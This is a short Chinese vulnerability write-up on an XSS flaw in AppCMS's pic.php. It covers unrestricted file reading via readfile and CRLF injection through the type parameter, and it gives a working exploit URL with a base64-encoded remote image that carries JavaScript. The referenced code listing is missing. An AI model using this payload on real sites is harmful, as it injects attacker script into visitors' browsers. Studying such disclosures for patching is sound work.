AppCMS pic.php XSS 漏洞

pic.php:

nilbody

先说 $img_url 变量,可以由 $_GET['url'] 控制,但是只能引用图片,因为 12 行限制了的。

代码第 20 行直接读出文件内容,然后返回。由于没有限制路径,我们可以直接读 App 所在的主机任意图片文件,并且 readfile 还支持 HTTP 等协议,所以可以读取远程文件。

其实我要说的是 header 函数,老版本的 PHP 可以直接注入 %0d%0a,新版本的 PHP 如果注入 %0d%0a,PHP 会报错,并把文件内容原封不动返回给浏览器,所以只要引用一张带有 JS 代码、后缀为图片的文件,就可以 XSS 了:

http://xxx/pic.php?url=aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc=&type=jpg%0D%0A11

其中 aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc 是一张远程图片地址。